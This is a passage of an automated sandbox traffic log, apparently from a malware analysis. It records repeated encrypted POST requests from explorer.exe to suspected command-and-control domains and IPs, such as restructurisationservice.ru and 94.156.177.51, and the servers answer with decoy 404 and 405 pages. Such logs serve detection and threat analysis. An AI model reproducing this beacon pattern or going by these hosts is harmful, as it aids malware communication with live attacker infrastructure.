Dec 19, 2024 10:59:27.673820019 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49915	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:27.820787907 CET	285	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dyokvtiefurhr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: restructurisationservice.ru
Dec 19, 2024 10:59:27.820805073 CET	306	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be f2 4e 28 94 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)N(cKV?RToV!&Z/,yVWqm^T3M, c^Lum{V"pnBW'PqZWzUi%"A^cv5Vs&R'N
Dec 19, 2024 10:59:29.184083939 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49920	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:29.315151930 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vtrdqlyaxcnu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 298 Host: connecticutproperty.ru
Dec 19, 2024 10:59:29.315171957 CET	298	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 87 1d 2e 94 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)._f_(uZ>{x=I@V5zJ\:+RkTvVnegI(zs6n/hX8:b~rFzhiIn];OT'r0D[6%;jP5}W\d
Dec 19, 2024 10:59:30.651345015 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 09:59:30 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49926	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:30.916336060 CET	285	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://weaudxshysghyed.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 177 Host: constractionscity1991.lat
Dec 19, 2024 10:59:30.918894053 CET	177	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be f0 0f 26 ba Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)&?_r137U thBWuR7P)@mR\|Xlw/y~-x
Dec 19, 2024 10:59:32.322904110 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49928	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:32.475130081 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rmlqaewyesef.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 295 Host: restructurisationservice.ru
Dec 19, 2024 10:59:32.475718021 CET	295	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e4 16 21 94 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)!d}8DOzIm:ExL`Ps2G]cg;k/SG-QwjeO8_7{j?zZ{J3F[}4,e$`2p:hi(\|HP]
Dec 19, 2024 10:59:33.845381975 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49933	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:33.970565081 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ipahuxcmqng.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 258 Host: connecticutproperty.ru
Dec 19, 2024 10:59:33.970581055 CET	258	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ed 45 36 bc Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)E6>ITPw%^ZR3f5^wvfywG_Jm}\\qsh!fcuc/$X>jIF9tkh,<8<=ZyI<shGO
Dec 19, 2024 10:59:35.310946941 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 09:59:35 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49939	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:35.854039907 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yebogyjrnkttg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 322 Host: constractionscity1991.lat
Dec 19, 2024 10:59:35.854075909 CET	322	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e4 47 21 cb Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)G!11?tjb%)<"ybE6-onoZi$gg#8]IkT?cX8G!$;lm {zl)$%{_O<eH``A4)O}dF{>
Dec 19, 2024 10:59:37.220084906 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49942	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:37.353260040 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mbqncgggetrc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 289 Host: restructurisationservice.ru
Dec 19, 2024 10:59:37.354517937 CET	289	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 9c 26 20 8f Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)& EK^9pZ 9)De(A/P6%s`N_\|ojQxf\|}>+0?%ht]`4"fv-kij5.r;"ifpc-P/ZF6}
Dec 19, 2024 10:59:38.727760077 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49947	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:38.862231970 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qjvjeavryrj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 265 Host: connecticutproperty.ru
Dec 19, 2024 10:59:38.862231970 CET	265	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e6 04 21 bf Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)!b[>iI]/Z2bHICWVmg^m__Ft/T._x_.Y:ba.n)g3u?9W+ ;G!sSZ
Dec 19, 2024 10:59:40.196259022 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 09:59:39 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49953	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:41.194796085 CET	285	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jisidxjkipgcbgc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 316 Host: constractionscity1991.lat
Dec 19, 2024 10:59:41.194829941 CET	316	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be a3 46 29 9e Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)F)+^'u?w:X4;@f_?{p+QYLMpVK"16lpw75L- x^0V^)lmiE9qi%g}.IdO86JuUr
Dec 19, 2024 10:59:42.558610916 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49958	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
